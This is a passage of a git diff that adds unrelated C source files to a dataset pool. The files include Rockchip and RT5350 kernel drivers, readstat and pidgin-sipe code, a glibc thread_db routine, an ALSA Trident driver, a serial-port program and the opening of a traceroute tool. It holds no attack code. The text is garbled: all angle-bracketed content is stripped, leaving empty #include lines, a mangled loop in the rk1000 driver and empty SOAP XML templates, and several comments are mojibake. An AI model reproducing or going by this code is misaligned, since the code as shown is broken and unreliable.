if(XAPI_UNWINDING) + { + // write failures before liblogger to stderr + xapi_backtrace(2, 0); + } + +conclude(&R); + xapi_teardown(); + + R |= xmain_exit; + + return !!R; +} diff --git a/pool/shard011/C/0141670_rk1000-core.c b/pool/shard011/C/0141670_rk1000-core.c new file mode 100644 index 0000000000000000000000000000000000000000..be9490b50c1496dbcaace1e73d3e0ed9afd24884 --- /dev/null +++ b/pool/shard011/C/0141670_rk1000-core.c @@ -0,0 +1,173 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#if 0 +#define DBG(x...) printk(KERN_INFO x) +#else +#define DBG(x...) +#endif + +struct i2c_client * rk1000_control_client = NULL; + + + + +int reg_send_data(struct i2c_client *client, const char start_reg, + const char *buf, int count, unsigned int scl_rate) +{ + int ret; + + ret = i2c_master_reg8_send(client, start_reg, buf, (int)count, 20*1000); + return ret; +} + + +static int rk1000_control_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + int ret; + struct clk *iis_clk; + struct rkdisplay_platform_data *tv_data; + /* reg[0x00] = 0x88, --> ADC_CON + reg[0x01] = 0x0d, --> CODEC_CON + reg[0x02] = 0x22, --> I2C_CON + reg[0x03] = 0x00, --> TVE_CON + */ + char data[4] = {0x88, 0x0d, 0x22, 0x00}; + + printk("rk1000_control_probe\n"); + + iis_clk = clk_get_sys("rk29_i2s.0", "i2s"); + if (IS_ERR(iis_clk)) { + printk("failed to get i2s clk\n"); + ret = PTR_ERR(iis_clk); + }else{ + DBG("got i2s clk ok!\n"); + clk_enable(iis_clk); +#if defined(CONFIG_RK616_USE_MCLK_12M) + clk_set_rate(iis_clk, 12000000); +#else + clk_set_rate(iis_clk, 11289600); +#endif + #if defined(CONFIG_ARCH_RK29) + rk29_mux_api_set(GPIO2D0_I2S0CLK_MIIRXCLKIN_NAME, GPIO2H_I2S0_CLK); + #elif defined(CONFIG_ARCH_RK30) + rk30_mux_api_set(GPIO0B0_I2S8CHCLK_NAME, GPIO0B_I2S_8CH_CLK); + #else + iomux_set(I2S0_MCLK); + #endif + clk_put(iis_clk); + } + + if(client->dev.platform_data) { + tv_data = client->dev.platform_data; + if(tv_data->io_pwr_pin != INVALID_GPIO) { + ret = gpio_request(tv_data->io_pwr_pin, "rk1000 pwr"); + if (ret){ + printk("rk1000_control_probe request pwr gpio fail\n"); + //goto err1; + } + + gpio_set_value(tv_data->io_pwr_pin, GPIO_HIGH); + gpio_free(tv_data->io_pwr_pin); + } + if(tv_data->io_reset_pin != INVALID_GPIO) { + ret = gpio_request(tv_data->io_reset_pin, "rk1000 reset"); + if (ret){ + printk("rk1000_control_probe request gpio fail\n"); + //goto err1; + } + + gpio_set_value(tv_data->io_reset_pin, GPIO_LOW); + gpio_direction_output(tv_data->io_reset_pin, GPIO_LOW); + mdelay(2); + gpio_set_value(tv_data->io_reset_pin, GPIO_HIGH); + } + } + + rk1000_control_client = client; + +#ifdef CONFIG_SND_SOC_RK1000 + data[1] = 0x00; +#endif + + ret = i2c_master_reg8_send(client,0,data, 4, 20 * 1000); + + printk("rk1000_control_probe ok\n"); + return 0; +} + +int rk1000_control_write_block(u8 addr, u8 *buf, u8 len) +{ + int i; + int ret = 0; + struct i2c_client *client; + + client = rk1000_control_client; + + if(client == NULL){ + printk("rk1000_tv_i2c_client not init!\n"); + return -1; + } + + for(i=0; i"); +MODULE_LICENSE("GPL"); + diff --git a/pool/shard011/C/0141671_watchdog_drv.c b/pool/shard011/C/0141671_watchdog_drv.c new file mode 100644 index 0000000000000000000000000000000000000000..36a87eef614c7dd5f36e7a53cef496ce0c769c91 --- /dev/null +++ b/pool/shard011/C/0141671_watchdog_drv.c @@ -0,0 +1,132 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEVICE_NAME "watchdog_dev" //¿¿¿¿¿¿¿¿¿cat /proc/devices¿¿¿¿¿¿¿¿¿¿ +#define GPIO_MAJOR 0 //¿¿¿¿ +#define delays 50 +#define WATCHDOG_ENABLE 1 +#define WATCHDOG_LOW 2 +#define WATCHDOG_HIGHT 3 +#define WATCHDOG_DISABLE 4 + +volatile unsigned long *GPIO_CTRL_1; +volatile unsigned long *GPIO_DATA_1; +volatile unsigned long *GPIO1MODE; +volatile unsigned long *GPIO2MODE; +volatile unsigned long *SYSCFG0; + +static struct class *gpio_rst_drv_class; + +static int gpio_rst_drv_open(struct inode *inode, struct file *file) +{ + printk("%s:Hello watchdog\n", __FUNCTION__); // printk + return 0; +} + +static long gpio_rst_drv_ioctl(struct file *file, unsigned int cmd, unsigned long arg) +{ + switch(cmd) + { + case WATCHDOG_ENABLE: + *GPIO_DATA_1 &=~(1<<14); + printk("%s:Hello WATCHDOG_ENABLE\n", __FUNCTION__); + break; + case WATCHDOG_LOW: + *GPIO_DATA_1 &=~(1<<5); + //printk("%s:Hello WATCHDOG_LOW\n", __FUNCTION__); + break; + case WATCHDOG_HIGHT: + *GPIO_DATA_1 |=(1<<5); + //printk("%s:Hello WATCHDOG_HIGHT\n", __FUNCTION__); + break; + case WATCHDOG_DISABLE: + *GPIO_DATA_1 |= (1<<14); + printk("%s:Hello WATCHDOG_DISABLE\n", __FUNCTION__); + break; + default: + break; + } + return 0; +} + +static struct file_operations gpio_rst_drv_fops = { + .owner = THIS_MODULE, + .open = gpio_rst_drv_open, + .unlocked_ioctl = gpio_rst_drv_ioctl, +}; + +int major; + + +static int __init gpio_rst_drv_init(void) +{ + major = register_chrdev(GPIO_MAJOR, DEVICE_NAME, &gpio_rst_drv_fops); + if (major < 0) + { + printk(DEVICE_NAME " can't register major number\n"); + return major; + } + + gpio_rst_drv_class = class_create(THIS_MODULE, DEVICE_NAME); + device_create(gpio_rst_drv_class, NULL, MKDEV(major, 0), NULL, DEVICE_NAME); // /dev/DEVICE_NAME + printk("%s:Hello watchdog\n", __FUNCTION__); // printk¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿printf¿¿ + SYSCFG0=(volatile unsigned long *)ioremap(0x10000010,4); + GPIO1MODE = (volatile unsigned long *)ioremap(0x10000060,4); + GPIO2MODE=(volatile unsigned long *)ioremap(0x10000064,4); + GPIO_CTRL_1=(volatile unsigned long *)ioremap(0x10000604,4); + GPIO_DATA_1=(volatile unsigned long *)ioremap(0x10000624,4); + *SYSCFG0 &= ~(1<<8); + *GPIO1MODE |=(1<<18);// ¿´ÃŹ·Î¹¹·Òý½Å + *GPIO1MODE &=~(0x3<<24); // ¿´ÃŹ· uart_rxd1 ¸´ÓóÉgpio¿Ú ÓÐЧÒý½Å + *GPIO1MODE |= (1<<24); // ¿´ÃŹ·µÍÓÐЧÒý½Å + //*GPIO2MODE &=~(0x3<<4); + //*GPIO2MODE|=(1<<4); + //*GPIO2MODE &=~(0x3<<8); // ¿´ÃŹ·µÍÓÐЧÒý½Å + //*GPIO2MODE |=(1<<8); + *GPIO_CTRL_1 |= (1<<14)|(1<<5);// set output + *GPIO_DATA_1 |= (1<<14); // disabled watchdog + return 0; +} + +static void __exit gpio_rst_drv_exit(void) +{ + unregister_chrdev(major, "gpio_rst"); // ¿¿¿¿¿¿register_chrdev¿¿¿¿¿¿ + device_destroy(gpio_rst_drv_class, MKDEV(major, 0)); // ¿¿¿¿¿¿device_create¿¿¿¿¿¿ + class_destroy(gpio_rst_drv_class); // ¿¿¿¿¿¿class_create¿¿¿¿¿¿ + iounmap(GPIO2MODE); + iounmap(GPIO_CTRL_1); + iounmap(GPIO_CTRL_1); + iounmap(GPIO_DATA_1); + printk("%s:Hello gpio_rst\n", __FUNCTION__); // printk¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿printf¿¿ +} + +module_init(gpio_rst_drv_init); +module_exit(gpio_rst_drv_exit); + +MODULE_AUTHOR("http://www.gpio_rst.com"); +MODULE_VERSION("0.1.0"); +MODULE_DESCRIPTION("RT5350 FIRST Driver"); +MODULE_LICENSE("GPL"); + diff --git a/pool/shard011/C/0141672_readstat_sav.c b/pool/shard011/C/0141672_readstat_sav.c new file mode 100644 index 0000000000000000000000000000000000000000..05141c0b35e75b319544a39129ba2003fcdbd6d2 --- /dev/null +++ b/pool/shard011/C/0141672_readstat_sav.c @@ -0,0 +1,72 @@ +// +// sav.c +// Wizard +// +// Created by Evan Miller on 12/16/11. +// Copyright (c) 2011 __MyCompanyName__. All rights reserved. +// + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "readstat_sav.h" +#include "readstat_io.h" + +#define SAV_VARINFO_INITIAL_CAPACITY 512 + +sav_ctx_t *sav_ctx_init(sav_file_header_record_t *header) { + sav_ctx_t *ctx = NULL; + if ((ctx = malloc(sizeof(sav_ctx_t))) == NULL) { + return NULL; + } + memset(ctx, 0, sizeof(sav_ctx_t)); + + if (header->layout_code == 2 || header->layout_code == 3) { + ctx->machine_needs_byte_swap = 0; + } else { + ctx->machine_needs_byte_swap = 1; + } + + ctx->data_is_compressed = (header->compressed != 0); + ctx->record_count = ctx->machine_needs_byte_swap ? byteswap4(header->ncases) : header->ncases; + ctx->fweight_index = ctx->machine_needs_byte_swap ? byteswap4(header->weight_index) : header->weight_index; + + double bias = ctx->machine_needs_byte_swap ? byteswap_double(header->bias) : header->bias; + + if (bias != 100.0) { + sav_ctx_free(ctx); + return NULL; + } + + ctx->varinfo_capacity = SAV_VARINFO_INITIAL_CAPACITY; + + if ((ctx->varinfo = calloc(ctx->varinfo_capacity, sizeof(spss_varinfo_t))) == NULL) { + sav_ctx_free(ctx); + return NULL; + } + + return ctx; +} + +void sav_ctx_free(sav_ctx_t *ctx) { + if (ctx->varinfo) { + int i; + for (i=0; ivar_count; i++) { + if (ctx->varinfo[i].label) + free(ctx->varinfo[i].label); + } + free(ctx->varinfo); + } + if (ctx->converter) { + iconv_close(ctx->converter); + } + free(ctx); +} + diff --git a/pool/shard011/C/0141673_sip-soap.c b/pool/shard011/C/0141673_sip-soap.c new file mode 100644 index 0000000000000000000000000000000000000000..739fa71ea1254fd31e9bfea0833e2da010bad973 --- /dev/null +++ b/pool/shard011/C/0141673_sip-soap.c @@ -0,0 +1,187 @@ +/** + * @file sip-soap.c + * + * pidgin-sipe + * + * Copyright (C) 2011 SIPE Project + * + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * + * SOAP requests over SIP SERVICE messages + * + * Specification references: + * + * - [MS-SIP]: http://msdn.microsoft.com/en-us/library/cc246115.aspx + * - [MS-PRES]: http://msdn.microsoft.com/en-us/library/cc431501.aspx + * + */ + +#include + +#include "sip-soap.h" +#include "sip-transport.h" +#include "sipe-core.h" +#include "sipe-core-private.h" +#include "sipe-utils.h" + +void sip_soap_raw_request_cb(struct sipe_core_private *sipe_private, + const gchar *from, + const gchar *soap, + SoapTransCallback callback, + struct transaction_payload *payload) +{ + gchar *contact = get_contact(sipe_private); + gchar *hdr = g_strdup_printf("Contact: %s\r\n" + "Content-Type: application/SOAP+xml\r\n", + contact); + + struct transaction *trans = sip_transport_service(sipe_private, + from, + hdr, + soap, + callback); + trans->payload = payload; + + g_free(contact); + g_free(hdr); +} + +/** + * delta_num != NULL: use user sip: URI as from, include deltanum and increment it + * delta_num == NULL; use sip: URI generated from domain name as from + */ +static void sip_soap_request_full(struct sipe_core_private *sipe_private, + const gchar *method, + const gchar *request, + const gchar *additional, + guint *deltanum, + SoapTransCallback callback, + struct transaction_payload *payload) +{ + gchar *from = deltanum ? + sip_uri_self(sipe_private) : + sip_uri_from_name(sipe_private->public.sip_domain); + gchar *delta = deltanum ? + g_strdup_printf("%d", (*deltanum)++) : + g_strdup(""); + gchar *soap = g_strdup_printf("" + "" + "" + "%s" + "%s" + "" + "%s" + "" + "", + method, + request, + delta, + method, + additional ? additional : ""); + sip_soap_raw_request_cb(sipe_private, from, soap, callback, payload); + g_free(soap); + g_free(delta); + g_free(from); +} + +void sip_soap_request_cb(struct sipe_core_private *sipe_private, + const gchar *method, + const gchar *request, + SoapTransCallback callback, + struct transaction_payload *payload) +{ + sip_soap_request_full(sipe_private, + method, + request, + NULL, + &sipe_private->deltanum_contacts, + callback, + payload); +} + +void sip_soap_request(struct sipe_core_private *sipe_private, + const gchar *method, + const gchar *request) +{ + sip_soap_request_cb(sipe_private, + method, + request, + NULL, + NULL); +} + +/* This is the only user of deltanum_acl */ +void sip_soap_ocs2005_setacl(struct sipe_core_private *sipe_private, + const gchar *who, + gboolean allow) +{ + gchar *request = g_strdup_printf("USER" + "%s" + "%s", + who, + allow ? "AA" : "BD"); + sip_soap_request_full(sipe_private, + "setACE", + request, + NULL, + &sipe_private->deltanum_acl, + NULL, + NULL); + g_free(request); +} + +/** + * This request is special: + * a) it is send from domain URI and not the users + * b) it has XML nodes outside the [MS-PRES] method node + * c) doesn't use deltaNum + */ +void sip_soap_directory_search(struct sipe_core_private *sipe_private, + guint max, + const gchar *rows, + SoapTransCallback callback, + struct transaction_payload *payload) +{ + gchar *request = g_strdup_printf("" + "%d", + max); + gchar *additional = g_strdup_printf("" + "%s" + "", + rows); + sip_soap_request_full(sipe_private, + "directorySearch", + request, + additional, + NULL, + callback, + payload); + g_free(additional); + g_free(request); +} + +/* + Local Variables: + mode: c + c-file-style: "bsd" + indent-tabs-mode: t + tab-width: 8 + End: +*/ diff --git a/pool/shard011/C/0141674_td_ta_map_lwp2thr.c b/pool/shard011/C/0141674_td_ta_map_lwp2thr.c new file mode 100644 index 0000000000000000000000000000000000000000..8ae5aec7805e7db13801fe1b0b7a9fd4bb0da29e --- /dev/null +++ b/pool/shard011/C/0141674_td_ta_map_lwp2thr.c @@ -0,0 +1,81 @@ +/* Which thread is running on an lwp? + Copyright (C) 1999 Free Software Foundation, Inc. + This file is part of the GNU C Library. + Contributed by Ulrich Drepper , 1999. + + The GNU C Library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + The GNU C Library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with the GNU C Library; if not, write to the Free + Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA + 02111-1307 USA. */ + +#include "thread_dbP.h" + + +td_err_e +td_ta_map_lwp2thr (const td_thragent_t *ta, lwpid_t lwpid, td_thrhandle_t *th) +{ + int pthread_threads_max = ta->pthread_threads_max; + size_t sizeof_descr = ta->sizeof_descr; + struct pthread_handle_struct phc[pthread_threads_max]; + size_t cnt; +#ifdef ALL_THREADS_STOPPED + int num; +#else +# define num 1 +#endif + + LOG (__FUNCTION__); + + /* Test whether the TA parameter is ok. */ + if (! ta_ok (ta)) + return TD_BADTA; + + /* Read all the descriptors. */ + if (ps_pdread (ta->ph, ta->handles, phc, + sizeof (struct pthread_handle_struct) * pthread_threads_max) + != PS_OK) + return TD_ERR; /* XXX Other error value? */ + +#ifdef ALL_THREADS_STOPPED + /* Read the number of currently active threads. */ + if (ps_pdread (ta->ph, ta->pthread_handles_num, &num, sizeof (int)) != PS_OK) + return TD_ERR; /* XXX Other error value? */ +#endif + + /* Get the entries one after the other and find out whether the ID + matches. */ + for (cnt = 0; cnt < pthread_threads_max && num > 0; ++cnt) + if (phc[cnt].h_descr != NULL) + { + struct _pthread_descr_struct pds; + +#ifdef ALL_THREADS_STOPPED + /* First count this active thread. */ + --num; +#endif + + if (ps_pdread (ta->ph, phc[cnt].h_descr, &pds, sizeof_descr) != PS_OK) + return TD_ERR; /* XXX Other error value? */ + + if ((pds.p_pid ?: ps_getpid (ta->ph)) == lwpid) + { + /* Found it. Now fill in the `td_thrhandle_t' object. */ + th->th_ta_p = (td_thragent_t *) ta; + th->th_unique = phc[cnt].h_descr; + + return TD_OK; + } + } + + return TD_NOLWP; +} diff --git a/pool/shard011/C/0141675_trident.c b/pool/shard011/C/0141675_trident.c new file mode 100644 index 0000000000000000000000000000000000000000..deb04b924122e5b2d27284fba322b923370cc031 --- /dev/null +++ b/pool/shard011/C/0141675_trident.c @@ -0,0 +1,197 @@ +/* + * Driver for Trident 4DWave DX/NX & SiS SI7018 Audio PCI soundcard + * + * Driver was originated by Trident + * Fri Feb 19 15:55:28 MST 1999 + * + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + */ + +#include +#include +#include +#include +#include +#include +#include + +MODULE_AUTHOR("Jaroslav Kysela , "); +MODULE_DESCRIPTION("Trident 4D-WaveDX/NX & SiS SI7018"); +MODULE_LICENSE("GPL"); +MODULE_SUPPORTED_DEVICE("{{Trident,4DWave DX}," + "{Trident,4DWave NX}," + "{SiS,SI7018 PCI Audio}," + "{Best Union,Miss Melody 4DWave PCI}," + "{HIS,4DWave PCI}," + "{Warpspeed,ONSpeed 4DWave PCI}," + "{Aztech Systems,PCI 64-Q3D}," + "{Addonics,SV 750}," + "{CHIC,True Sound 4Dwave}," + "{Shark,Predator4D-PCI}," + "{Jaton,SonicWave 4D}," + "{Hoontech,SoundTrack Digital 4DWave NX}}"); + +static int index[SNDRV_CARDS] = SNDRV_DEFAULT_IDX; /* Index 0-MAX */ +static char *id[SNDRV_CARDS] = SNDRV_DEFAULT_STR; /* ID for this card */ +static int enable[SNDRV_CARDS] = SNDRV_DEFAULT_ENABLE_PNP; /* Enable this card */ +static int pcm_channels[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 32}; +static int wavetable_size[SNDRV_CARDS] = {[0 ... (SNDRV_CARDS - 1)] = 8192}; + +module_param_array(index, int, NULL, 0444); +MODULE_PARM_DESC(index, "Index value for Trident 4DWave PCI soundcard."); +module_param_array(id, charp, NULL, 0444); +MODULE_PARM_DESC(id, "ID string for Trident 4DWave PCI soundcard."); +module_param_array(enable, bool, NULL, 0444); +MODULE_PARM_DESC(enable, "Enable Trident 4DWave PCI soundcard."); +module_param_array(pcm_channels, int, NULL, 0444); +MODULE_PARM_DESC(pcm_channels, "Number of hardware channels assigned for PCM."); +module_param_array(wavetable_size, int, NULL, 0444); +MODULE_PARM_DESC(wavetable_size, "Maximum memory size in kB for wavetable synth."); + +static DEFINE_PCI_DEVICE_TABLE(snd_trident_ids) = { + {PCI_DEVICE(PCI_VENDOR_ID_TRIDENT, PCI_DEVICE_ID_TRIDENT_4DWAVE_DX), + PCI_CLASS_MULTIMEDIA_AUDIO << 8, 0xffff00, 0}, + {PCI_DEVICE(PCI_VENDOR_ID_TRIDENT, PCI_DEVICE_ID_TRIDENT_4DWAVE_NX), + 0, 0, 0}, + {PCI_DEVICE(PCI_VENDOR_ID_SI, PCI_DEVICE_ID_SI_7018), 0, 0, 0}, + { 0, } +}; + +MODULE_DEVICE_TABLE(pci, snd_trident_ids); + +static int __devinit snd_trident_probe(struct pci_dev *pci, + const struct pci_device_id *pci_id) +{ + static int dev; + struct snd_card *card; + struct snd_trident *trident; + const char *str; + int err, pcm_dev = 0; + + if (dev >= SNDRV_CARDS) + return -ENODEV; + if (!enable[dev]) { + dev++; + return -ENOENT; + } + + err = snd_card_create(index[dev], id[dev], THIS_MODULE, 0, &card); + if (err < 0) + return err; + + if ((err = snd_trident_create(card, pci, + pcm_channels[dev], + ((pci->vendor << 16) | pci->device) == TRIDENT_DEVICE_ID_SI7018 ? 1 : 2, + wavetable_size[dev], + &trident)) < 0) { + snd_card_free(card); + return err; + } + card->private_data = trident; + + switch (trident->device) { + case TRIDENT_DEVICE_ID_DX: + str = "TRID4DWAVEDX"; + break; + case TRIDENT_DEVICE_ID_NX: + str = "TRID4DWAVENX"; + break; + case TRIDENT_DEVICE_ID_SI7018: + str = "SI7018"; + break; + default: + str = "Unknown"; + } + strcpy(card->driver, str); + if (trident->device == TRIDENT_DEVICE_ID_SI7018) { + strcpy(card->shortname, "SiS "); + } else { + strcpy(card->shortname, "Trident "); + } + strcat(card->shortname, card->driver); + sprintf(card->longname, "%s PCI Audio at 0x%lx, irq %d", + card->shortname, trident->port, trident->irq); + + if ((err = snd_trident_pcm(trident, pcm_dev++, NULL)) < 0) { + snd_card_free(card); + return err; + } + switch (trident->device) { + case TRIDENT_DEVICE_ID_DX: + case TRIDENT_DEVICE_ID_NX: + if ((err = snd_trident_foldback_pcm(trident, pcm_dev++, NULL)) < 0) { + snd_card_free(card); + return err; + } + break; + } + if (trident->device == TRIDENT_DEVICE_ID_NX || trident->device == TRIDENT_DEVICE_ID_SI7018) { + if ((err = snd_trident_spdif_pcm(trident, pcm_dev++, NULL)) < 0) { + snd_card_free(card); + return err; + } + } + if (trident->device != TRIDENT_DEVICE_ID_SI7018 && + (err = snd_mpu401_uart_new(card, 0, MPU401_HW_TRID4DWAVE, + trident->midi_port, + MPU401_INFO_INTEGRATED | + MPU401_INFO_IRQ_HOOK, + -1, &trident->rmidi)) < 0) { + snd_card_free(card); + return err; + } + + snd_trident_create_gameport(trident); + + if ((err = snd_card_register(card)) < 0) { + snd_card_free(card); + return err; + } + pci_set_drvdata(pci, card); + dev++; + return 0; +} + +static void __devexit snd_trident_remove(struct pci_dev *pci) +{ + snd_card_free(pci_get_drvdata(pci)); + pci_set_drvdata(pci, NULL); +} + +static struct pci_driver driver = { + .name = KBUILD_MODNAME, + .id_table = snd_trident_ids, + .probe = snd_trident_probe, + .remove = __devexit_p(snd_trident_remove), +#ifdef CONFIG_PM + .suspend = snd_trident_suspend, + .resume = snd_trident_resume, +#endif +}; + +static int __init alsa_card_trident_init(void) +{ + return pci_register_driver(&driver); +} + +static void __exit alsa_card_trident_exit(void) +{ + pci_unregister_driver(&driver); +} + +module_init(alsa_card_trident_init) +module_exit(alsa_card_trident_exit) diff --git a/pool/shard011/C/0141676_serial_com.c b/pool/shard011/C/0141676_serial_com.c new file mode 100644 index 0000000000000000000000000000000000000000..6546f16c03919d24c51f2960d804f7942261d873 --- /dev/null +++ b/pool/shard011/C/0141676_serial_com.c @@ -0,0 +1,102 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define BAUDRATE B57600 +#define DELAY_SYNC 20000 // Specifies delay between sending of sync byte in Microsecond +#define CEPALDEVICE "/dev/ttyUSB1" + + + +int main() +{ + int fd; // File descriptor for the PORT + unsigned char readbuff[255]; + struct termios options; + + int shmid; + key_t key; + char *shm, *s; + + key = 5678; + + if ((shmid = shmget(key, 27, 0666)) < 0) { + perror("shmget"); + exit(1); + } + + /* + * Now we attach the segment to our data space. + */ + if ((shm = shmat(shmid, NULL, 0)) == (char *) -1) { + perror("shmat"); + exit(1); + } + + /* + * Now read what the server put in the memory. + */ + + + + fd = open(CEPALDEVICE, O_RDWR | O_NOCTTY | O_NDELAY ); + if( fd == -1) + { + fprintf(stderr ," Cannot open the device %s \n" , CEPALDEVICE); + return -1; + } + + + bzero(readbuff, 20); + + + printf("Reading IO port parameters\n"); + tcgetattr(fd, &options); + cfsetispeed(&options, BAUDRATE); + + options.c_cflag |= ( CLOCAL | CREAD); + options.c_cflag &= ~PARENB; + options.c_cflag &= ~CSTOPB; + options.c_cflag &= ~CSIZE; + options.c_cflag |= CS8; + options.c_cflag &= ~CRTSCTS; + options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); + + options.c_cc[VMIN] = 5; + options.c_cc[VTIME] = 0; + + tcflush(fd, TCIFLUSH); + tcsetattr(fd, TCSANOW, &options); + while(1){ + if(*shm != '*'){ + for (s = shm; *s != NULL; s++){ + putchar(*s); + write(fd , s, 1); + usleep(10000); + } + + *shm = '*'; + } + else{ + usleep(10000); + } + }/* + while(1) + { + usleep(10000); + scanf("%s",readbuff); + printf("%s",readbuff); + + } +*/ + +} + diff --git a/pool/shard011/C/0141677_trout.c b/pool/shard011/C/0141677_trout.c new file mode 100644 index 0000000000000000000000000000000000000000..2abfe10478c26835936541de4cdb0be462339276 --- /dev/null +++ b/pool/shard011/C/0141677_trout.c @@ -0,0 +1,332 @@ +#include "trout.h" + +/* variables we might want to configure */ +int max_ttl = 30; +int nprobes = 2; + +/* other global variables */ + +int seq = 0; + +char recvbuf[BUFSIZE]; +char sendbuf[BUFSIZE]; +Rec *rec = (Rec *) sendbuf; + +int sendfd, recvfd; +int pipefd[2]; /* the pipe for the alarm handler */ + +int datalen = sizeof (Rec); /* length of the data in a datagram */ + +Sockaddr *sasend; /* socket addresses for various purposes */ +Sockaddr *sarecv; +Sockaddr *salast; +Sockaddr *sabind; + +socklen_t salen; /* length of a socket address */ + +u_short sport; /* source UDP port # */ +u_short dport = 32768 + 668; /* destination port -- hopefully unused */ + /* 668 = the neighbor of the beast */ +Timeval sendtv[1]; +Timeval recvtv[1]; +Timeval difftv[1]; + +/* NOTES: system calls beginning with a capital letter are Stevens's + wrapper functions. Each one invokes the method and checks the + return value. If the call fails, it invokes err_sys, which prints + the error message and quits. + + Types that begin with a capital letter are usually typedefs + that I added because (1) I hate seeing the word struct all over + the place, and (2) it lets me pretend I am writing Java. */ + +/* sig_alrm: alarm handler sends a message to the process through + a pipe, causing select to return */ + +void sig_alrm (int signo) +{ + Write (pipefd[1], "", 1); /* write 1 null byte to pipe */ + return; +} + +/* process_ip: extracts all the info from an incoming ICMP packet + + Just for kicks, I changed the BSD-style names of the ICMP + errors to Linux-style names, mostly so that they will be + consistent with the changes I made in the kernel and so my + head won't explode. */ + +int process_ip (struct ip *ip, int len) +{ + int hlen1, hlen2, icmplen; + struct icmp *icmp; + struct ip *hip; + struct udphdr *udp; + + hlen1 = ip->ip_hl << 2; /* length of IP header */ + icmp = (struct icmp *) (recvbuf + hlen1); + icmplen = len - hlen1; + + if (icmplen < 8 + 20 + 8) return 0; + + if (icmp->icmp_type != ICMP_TIME_EXCEEDED && + icmp->icmp_type != ICMP_DEST_UNREACH) + return 0; + + /* hip is the header of the enclosed IP packets, supposedly + the header of the packet that caused the error */ + + hip = (struct ip *) (recvbuf + hlen1 + 8); + if (hip->ip_p != IPPROTO_UDP) return 0; + + hlen2 = hip->ip_hl << 2; + udp = (struct udphdr *) (recvbuf + hlen1 + 8 + hlen2); + + if (udp->source != htons (sport)) return 0; + if (udp->dest != htons (dport + seq)) return 0; + + /* now we know it's an ICMP packet caused by a UDP + datagram sent by us and sent to the port we happen to + be sending to. It's probably one of ours. */ + + if (icmp->icmp_type == ICMP_TIME_EXCEEDED) { + if (icmp->icmp_code == ICMP_EXC_TTL) { + return -2; + } else { + return 0; + } + } + + if (icmp->icmp_type == ICMP_DEST_UNREACH) { + if (icmp->icmp_code == ICMP_PORT_UNREACH) { + return -1; + } else { + return 0; + } + } +} + +/* recv_dgram: reads all incoming datagrams and checks for + returning ICMP packets. + returns -3 on timeout, + -2 on ICMP time exceeded in transit (we reached a router) + -1 on ICMP port unreachable (we reached the destination) + 0 on ICMP that has nothing to do with us */ + + /* as Stevens points out in Section 18.5 of Unix Network Programming, + many programs with alarms have a race condition, which is that + the alarm might go off before we get to the recvfrom, in which + case it does nothing and the recvfrom might wait indefinitely. + + In earlier versions of this code, this problem seemed to pop + up occasionally (although I am not positive about that). + + The use of select here solves that problem. When the alarm + goes off, the alarm handler sends a message through the pipe, + which is one of the things select waits for. + + When select returns, we know that we have received a datagram + OR the alarm has gone off OR both. We then use rset to find + out which, and deal with it. + + According to the specification of select, it should not be possible + to get to the recvfrom unless there is a datagram waiting, and + therefore the recvfrom should never block. Nevertheless, it sometimes + does, which is why, when we opened it, we set the NONBLOCK flag + and why, if it fails (errno = EAGAIN) we just go on. */ + +int recv_dgram () +{ + int err; + socklen_t len; + ssize_t n; + struct ip *ip; + int maxfdp1 = max (recvfd, pipefd[0]) + 1; + fd_set rset[1]; + FD_ZERO (rset); + + alarm(3); /* set the timeout alarm to handle dropped packets */ + + while (1) { + FD_SET (recvfd, rset); + FD_SET (pipefd[0], rset); + + n = select (maxfdp1, rset, NULL, NULL, NULL); + if (n < 0 && errno != EINTR) { + err_sys ("select error"); + } + + if (FD_ISSET (recvfd, rset)) { + len = salen; + n = recvfrom (recvfd, recvbuf, sizeof(recvbuf), 0, sarecv, &len); + err = errno; + Gettimeofday (recvtv, NULL); /* get time of packet arrival */ + if (n < 0 && err != EAGAIN) { + err_sys ("recvfrom error"); + } + } + + if (FD_ISSET (pipefd[0], rset)) { + Read (pipefd[0], &n, 1); + return -3; /* timeout */ + } + + ip = (struct ip *) recvbuf; + return process_ip (ip, n); + } +} + +/* sub_tv: subtract minus from plus and put the result in res */ + +void sub_tv (Timeval *plus, Timeval *minus, Timeval *res) +{ + res->tv_sec = plus->tv_sec - minus->tv_sec; + res->tv_usec = plus->tv_usec - minus->tv_usec; + + if (res->tv_usec < 0) { + res->tv_sec--; + res->tv_usec += 1000000; + } +} + +/* time_to_double: convert a Timeval to a double. This only + works with Timevals that are small (like the difference between + two real Timevals) */ + +double time_to_double (Timeval *time) +{ + return time->tv_sec * 